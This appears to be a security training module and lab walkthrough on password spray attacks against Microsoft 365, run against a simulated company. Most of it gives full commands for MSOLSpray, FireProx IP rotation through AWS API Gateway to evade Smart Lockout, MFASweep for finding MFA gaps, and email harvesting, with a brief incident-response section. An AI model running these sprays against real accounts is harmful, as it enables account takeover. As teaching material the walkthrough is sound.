Cloud Spotlight: Microsoft 365 Password Attacks

In this module, we'll focus on password guessing and spray attacks targeting Microsoft 365. These cloud services, like Microsoft 365 and others such as SalesForce and Dropbox, usually have public logins. If there are weaknesses in how these services handle logins, attackers can exploit them to target the services or their users.

We'll explore Microsoft login services (login.microsoftonline.com) as a common example of SaaS and password attacks. Keep two key points in mind: First, attackers can exploit any cloud service, including third-party ones. Second, be aware that attackers use clever techniques, which is important for incident response.

Microsoft 365 Authentication API

We see a screenshot above of the login.microsoftonline.com page, which is used by Microsoft 365 users. When users log in, their credentials go to login.microsoft.com, which is part of the Azure Active Directory Security Token Service (AADSTS). AADSTS handles authentication for many Microsoft 365 services. After a user logs in, AADSTS sends back a response code that shows whether the login was successful or failed, with details on any issues.

$ curl --silent --data "...&grant_type=password&username=jwright@sans.org&password=NotMyPassword" https://login.microsoft.com/common/oauth2/token | jq -r '.error_description' 
AADSTS50126: Error validating credentials due to invalid username or password.

I use the cURL command to send a POST request to thelogin.microsoft.com for authentication. The --silent option hides the progress meter, and --data lets me include the message body, which includes username, password, and authentication type. Some details are left out for brevity.

In this case, authentication fails and returns a JSON object. Using JQ, we extracted the error description, which shows error code 50126, indicating an invalid username or password. You can find more details on these codes at Microsoft’s documentation: https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes.

Detailed response codes from Microsoft are useful to attackers because they show account status, such as if it's active, requires MFA, or is locked. Even if an account needs a second factor for authentication, attackers might still guess passwords. While they might not access Microsoft 365 resources, the passwords could be useful elsewhere.

MSOLSpray

When an authentication service gives detailed reasons for a failed login, attackers can use this info to speed up their attack and prevent account lockouts. For Microsoft 365, the MSOLSpray tool by Beau Bullock uses AADSTS response codes to carry out a smart password spray attack. Similar to Hydra’s password spray attacks, MSOLSpray needs a list of users, usually gathered through OSINT methods and scanning tools like CeWL. MSOLSpray is a PowerShell script that works on both Windows and UNIX systems.

Get-Content ./users.txt
Import-Module /opt/MSOLSpray/MSOLSpray.ps1
Invoke-MSOLSpray -UserList ./users.txt -Password Mittens2022

We start with a list of three email addresses in users.txt. We then use the MSOLSpray module in PowerShell to run the Invoke-MSOLSpray cmdlet. This cmdlet tries logging into all the user accounts with the same password and reports which ones succeed.

MSOLSpray is valuable for attackers because it can understand Microsoft 365 login responses. This tool targets SaaS login systems, which is a threat to organizations. Microsoft has solutions to help prevent such attacks. The original MSOLSpray tool by Bullock is available at https://github.com/dafthack/MSOLSpray but isn’t updated often. Joshua Wright maintains a newer version with bug fixes and improvements, found at https://github.com/joswr1ght/MSOLSpray.

Azure Smart Lockout

Azure Smart Lockout is a default feature for Microsoft 365 accounts that blocks login attempts from IP addresses after several failed tries. For most users, it locks out an IP address after 10 failed attempts, but for US Government customers, it locks out after 3 failed attempts.

Smart Lockout is designed to counter password spray attacks. Unlike brute force attacks targeting one user, password spray attacks use many usernames with a few passwords to avoid locking out accounts. Smart Lockout helps by blocking a source IP after it fails authentication 10 (or 3) times, with a default 60-second lockout before retrying.

MSOLSpray knows that Smart Lockout can stop password spray attacks. If too many failed login attempts happen, the Microsoft 365 server will lock the account. MSOLSpray will stop if it detects over 10 lockouts in one attack and will ask if the attacker wants to continue.

AWS API Gateway

Smart Lockout helps stop password spray attacks but isn't perfect. Attackers can get around it using services like AWS API Gateway. AWS API Gateway lets organizations create a front-end server for their HTTP servers, acting like a proxy. It handles user requests and forwards them to various servers or microservices.

An AWS API Gateway lets users use one hostname for all their web requests. It handles these requests with many workers, sending them to different services, and then sends the responses back to users. This setup lets organizations use a single URL for all their web functions, even if there are many different services behind it.

Attackers use AWS API Gateway to hide their IP address during HTTP attacks. If they go directly to a login page like login.microsoft.com, the site can see their IP address. Since their IP is mostly the same, the site can block them if they keep failing to log in.

When an attacker uses AWS API Gateway instead of going directly to a SaaS login, the API Gateway sends requests through many different IP addresses. This hides the attacker's real IP and changes it with each request, bypassing IP-based security measures like Smart Lockout. The challenge with cloud security is not just the vulnerable systems, but also attackers using cloud services to launch new types of attacks easily.

FireProx and MSOLSpray

$ sudo fire.py --command create --url https://login.microsoft.com

FireProx, made by Mike Felch (@ustayready), is a simple Python tool found at https://github.com/ustayready/fireprox. It helps you create, list, and delete AWS API Gateway instances using your AWS API credentials and works well with MSOLSpray. For example, we can use the FireProx fire.py script to set up an AWS API Gateway in the us-east-1 region, which then forwards all HTTP requests to a given URL, like login.microsoft.com.

PS /home/sec504> import-module /opt/MSOLSpray/MSOLSpray.ps1
PS /home/sec504> Invoke-MSOLSpray -UserList ./users.txt -URL https://7t4id9w399.execute-api.us-east-1.amazonaws.com/fireprox/

After setting up the endpoint, the attacker can continue the MSOLSpray attack. They use the same arguments but add the -URL argument for the AWS API Gateway URL (from FireProx). This way, each login request to login.microsoft.com comes from a different AWS API Gateway IP, making Smart Lockout ineffective since it can't track the attacker's IP address.

MFA Bypass and Microsoft 365

In this module, we've covered how attackers can use a password spray attack on Microsoft 365 and get around security measures like Smart Lockout. Next, we'll discuss how they can also bypass Multi-Factor Authentication (MFA).

If an attacker guesses a Microsoft 365 user's password in a password spray attack, the server will check if extra authentication is needed. If MFA (multi-factor authentication) is set up, the attacker will be told that MFA is required to log in, showing they have the correct password but can't access the account yet. MFA can be applied as a default for all users, making it very effective against password spray attacks, because the attacker also needs access to the MFA device.

Default MFA policies often don't meet business needs, so organizations use Microsoft's Conditional Access (CA) to control when MFA is required. CA lets organizations set specific rules for MFA, such as excluding certain geolocations, IP addresses, platforms (iOS, Android), or legacy systems that don't support MFA. While CA can enhance security by enforcing MFA only when necessary, it can also reduce the need for MFA, potentially lowering security for Microsoft 365 services.

PS /opt/MFASweep> Invoke-MFASweep -Username jwright@sans.org -Password Cyberus2022
...
[*] Authenticating to Microsoft 365 Web Portal using a mobile user
agent...
[**] It appears there is no MFA for this account.
[***] NOTE: Login with a web browser to https://outlook.office365.com
using a mobile user agent.

MFASweep, created by Beau Bullock (@dafthack), checks Microsoft 365 authentication endpoints using a valid username and password to find ways to bypass MFA. It tests different device types to spot weaknesses in MFA settings. For example, it found that setting the user agent to a mobile device can bypass MFA on https://outlook.office365.com. You can get MFASweep at dafthack’s GitHub or the updated version with fixes at joswr1ght’s GitHub.

Microsoft 365 Incident Response: Identification

For Microsoft 365 attack investigations, we can use the Microsoft unified audit log to find unusual access patterns, such as locked-out accounts or many failed logins from different IPs. Logs are available for 90 days (non-E5) or one year (E5). Access them at https://compliance.microsoft.com or use the Search-UnifiedAuditLog cmdlet. More info is at https://urls.sec504.org/ohdnl.

After compromising a Microsoft 365 environment, attackers often reduce logging to hide their activities. They might change user licenses from E5 to P1, which captures less logging data. Administrators can check user license settings in the Microsoft 365 admin console or use the Get-MsolUser cmdlet in PowerShell.

PS C:\> Get-MsolUser -All | Where {$_.IsLicensed -eq $true}| Select DisplayName, @{n="License ID"; e={$_.Licenses.AccountSKUid}}
DisplayName  License ID
-----------  ----------
Ciel Britch  falsimentis:SPE_E5
Donovan Lea  falsimentis:P1

Indicators of a compromised Microsoft 365 account include unauthorized changes to Conditional Access policies (like allowing MFA-free access based on IP or region), reducing audit logging on mailboxes, and modifying mailbox permissions to give extra access.

Lab 3.2: Attacking Microsoft 365 Passwords

In this Cloud Spotlight lab we will implement a password spray attack against our simulated Microsoft 365 target server, using MSOLSpray and FireProx to evaluate and recover login credentials against Falsimentis Corporation.

In this lab we will use our Slingshot Linux VM to attack a simulated cloud environment consisting of a Microsoft 365 login server with the help of the AWS API Gateway. We will also use other public resources to perform reconnaissance and analysis including the Falsimentis DNS server at 172.30.0.254, the Falsimentis website, and a website that reports our public IP address at myip.sunsetisp.com.

Attackers use OSINT to find out if a target organization uses Microsoft 365 for email or cloud services. They check domain names and DNS records for clues of Microsoft 365 setup.

Let's use the dig tool to check for Microsoft 365 by querying the mail exchange (MX) records for "falsimentis.com".

dig +short @172.30.0.254 MX falsimentis.com

The Falsimentis DNS server has one mail exchange (MX) record, directing emails for falsimentis.com to be handled by the Microsoft 365 server at falsimentis-com.mail.protection.outlook.com.

A DNS sign that a company uses Microsoft 365 is the autodiscover CNAME entry for their domain.

dig +short @172.30.0.254 CNAME autodiscover.falsimentis.com

The domain autodiscover.falsimentis.com points to autodiscover.outlook.com, which is typically used by email clients like Outlook to find their email server in Microsoft 365 setups. This suggests Falsimentis uses Microsoft 365 for email. Now, let's investigate login.microsoft.com further.

From Firefox, let's navigate to the http://www.falsimentis.com website. This is a typical company website with some product and offering details, along with contact information and some company leadership team information.

Let's navigate to the Team link from the website menu to see a list of the company leadership. For each person listed you can click on their name to get additional information about the person.

Let's click on any of name of anyone on the leadership team to get detailed information about the person.

Let's use the CeWL tool to collect email addresses from the falsimentis website, which we'll use for the password spray attack.

/opt/cewl/cewl.rb -d 8 -w words.txt -e --email_file email.txt http://www.falsimentis.com/

Let's break down this command:

  • -d 8: Increases the spider depth from 2 to 8 to gather more data.

  • -w words.txt: Save unique words to words.txt.

  • -e: Instructs CeWL to gather both email addresses and words.

  • --email_file email.txt : Save emails to email.txt.

We can see that, CeWL gathered several email addresses from the Falsimentis site for use in the Microsoft 365 password spray attack.

Next, we'll run MSOLSpray, a PowerShell script, using the Linux PowerShell interpreter, pwsh.

pwsh
Import-Module /opt/MSOLSpray/MSOLSpray.ps1

Let's run the Invoke-MSOLSpray command with the -UserList argument for the CeWL email list, using the password Lakers2020 for the attack.

Invoke-MSOLSpray -UserList ./email.txt -Password Lakers2020

MSOLSpray helps with password spray attacks by showing which usernames are valid but have the wrong passwords. It reveals valid Microsoft 365 usernames and flags ones with invalid passwords. For instance, if the email hiring@falsimentis.com doesn’t exist, the attacker can remove it from their list.

The error message for Jillana.Walcott@falsiments.com shows it's an incorrect email address from the www.falsimentis.com website. Microsoft 365 says this account doesn't exist, so the attacker can tell if accounts or domains are invalid.

After 10 logins, MSOLSpray shows a different error: the account is locked. Let's try the password spray attack again with a new password.

Invoke-MSOLSpray -UserList ./email.txt -Password Dodgers2020

In the second try with MSOLSpray, the Microsoft 365 server shows that all accounts are locked. After 10 failed attempts, MSOLSpray will ask if we want to keep going, as further guesses will likely fail because of Smart Lockout. Choose N to stop.

In this attack, the attacker is easily spotted because all requests come from one IP address. We can check our static IP by asking our lab server at myip.sunsetisp.com.

curl myip.sunsetisp.com

Microsoft 365's Smart Lockout helps block attackers after 10 failed login attempts from one IP. But attackers can still get around this by using public cloud services.

Attackers can bypass Smart Lockout by using AWS API Gateway to send login requests to login.microsoft.com. FireProx makes this attack easy to set up.

To use FireProx, let's set up our AWS credentials file with the right permissions to create an API Gateway endpoint. We have already a configured AWS credentials for this lab exercise.

Get-Content /home/sec504/.aws/credentials

Next we'll create the AWS API Gateway endpoint with FireProx.

fire.py

For this lab, we'll use a modified version of FireProx. Usually, FireProx doesn't need root access, but it does for this exercise. Let's run fire.py with root privileges using sudo.

sudo fire.py

FireProx will use default AWS credentials unless we provide different ones on the command line. To create an AWS API Gateway endpoint, we can use the --command create argument and specify the destination URL with --url.

To show how FireProx works, let's set up an AWS API Gateway with the URL http://myip.sunsetisp.com.

sudo fire.py --command create --url http://myip.sunsetisp.com

FireProx created an API endpoint at http://aarggb04qv.execute-api.us-east-1.amazonaws.com/. The part before .execute-api (like aarggb04qv) is the API ID for this AWS API Gateway instance.

Next, let's run the cURL command again to find our IP address on the myip.sunsetisp.com server, like this.

curl myip.sunsetisp.com

Our Slingshot Linux IP address remains the same. To use the AWS API Gateway endpoint created by FireProx, the attacker replaces the usual URL with the FireProx URL. let's run the cURL command again, using the FireProx URL.

curl http://aarggb04qv.execute-api.us-east-1.amazonaws.com/

In this setup, the API Gateway server works like a proxy for the attacker. For example, the IP address 10.200.91.225 is the AWS API Gateway that sends the request to myip.sunsetisp.com. The myip.sunsetisp.com server only sees the IP address of the AWS API Gateway, not the attacker's IP address.

When we run this cURL command multiple times, each request uses a different IP address.

This is a big advantage for the attacker because each request uses a different IP address. This prevents services like Smart Lockout from detecting password spray attacks by tracking failed login attempts from one IP address.

Next, let's use FireProx to delete the AWS API Gateway service by running the command with the --command delete option and the API ID specified with --api_id.

sudo fire.py --command delete --api_id aarggb04qv

Now that we know how to use FireProx, let's apply it to MSOLSpray.

sudo fire.py --command create --url https://login.microsoft.com

This output shows that FireProx set up a new AWS API Gateway endpoint. Just like with the myip.sunsetisp.com example, each request to login.microsoft.com through this endpoint will come from a different IP address.

Invoke-MSOLSpray -UserList ./email.txt -Password Dodgers2020 -URL http://spvghsdsp8.execute-api.us-east-1.amazonaws.com/ -OutFile ~/msolspray.txt

In this new MSOLSpray attempt, we don’t see account lockout messages anymore. By using the AWS API Gateway, each request appears from a different IP address, so we stay below the 10 failed logins limit per IP that causes Smart Lockout.

Let's display the content of the msolspray.txt file.

Get-Content ./msolspray.txt

Using the -OutFile parameter with MSOLSpray helps us easily update our list of email addresses. Instead of repeatedly trying to log in with invalid addresses, we can just use the new list from the output file after removing the first part of each line.

Get-Content ./msolspray.txt | foreach { ($_ -split ' ')[6]}
Get-Content ./msolspray.txt | foreach { ($_ -split ' ')[6]} | Out-File falsimentis-valid-users.txt

Let's adjust the -UserList argument to use the ~/falsimentis-valid-users.txt file, so the spray attack only targets valid user accounts.

We're asked to experiment with several passwords, including the following suggestions for commonly-weak passwords and other keywords collected from the falsimentis.com website:

  • Password123

  • Lakers2020

  • Dodgers2020

  • Mittens2022

  • Falsimentis123

  • Summer2022

  • Coee2022

Invoke-MSOLSpray -UserList ./falsimentis-valid-users.txt -Password Mittens2022 -URL http://spvghsdsp8.execute-api.us-east-1.amazonaws.com/

We have Rollins Hows' valid username and password, but logging in requires a second authentication factor. While the username and password are useful, they alone cannot access Microsoft 365.

Let's use Falsimentis123 as a password for thisattack.

Invoke-MSOLSpray -UserList ./falsimentis-valid-users.txt -Password Falsimentis123 -URL http://spvghsdsp8.execute-api.us-east-1.amazonaws.com/

We have a new valid password for Jillana Walcott.

Bonus

In this lab, we found a few passwords using Microsoft 365 by attacking email addresses from a CeWL scan of the www.falsimentis.com site. We only got emails for executives listed there, but we could try more Falsimentis email addresses to recover more passwords.

Attackers often use OSINT to gather email addresses for valid user accounts. They might also use tools like MSOLSpray and FireProx to try common first and last names to find more valid accounts.

Let' examine the files firstnames.txt and lastnames.txt in the ~/labs/names directory,

Get-Content ~/labs/names/firstnames.txt -First 5
Get-Content ~/labs/names/lastnames.txt -First 5

We can combine names from two lists to create email addresses using PowerShell and two ForEach loops. First, let's declare two PowerShell arrays, one for each list of names.

$firstnames = Get-Content /home/sec504/labs/names/firstnames.txt
$lastnames = Get-Content /home/sec504/labs/names/lastnames.txt

We've created two variables, $firstnames and $lastnames, with names from their respective lists. To create email addresses, we need to combine each first name with each last name. Let's use nested ForEach loops to merge them.

$(ForEach ($first in $firstnames) { 
    ForEach ($last in $lastnames) { 
        "$first.$last@falsimentis.com" } 
    }) 
| Out-File "falsimentis-email-guesses.txt"

Let;s run Invoke-MSOLSpray again with the new email list and set -OutFile to ~/falsimentis-valid-users2.txt. We'll use the password Summer2022 for this demo.

Invoke-MSOLSpray -UserList ~/falsimentis-email-guesses.txt -URL http://33yamnfb62.execute-api.us-east-1.amazonaws.com/ -Password Summer2022 -OutFile ~/falsimentis-valid-users2.txt

In this output, we see many messages saying the user doesn't exist. Let's check the file ~/falsimentis-valid-users2.txt for other messages.

Get-Content ./falsimentis-valid-users2.txt

Last updated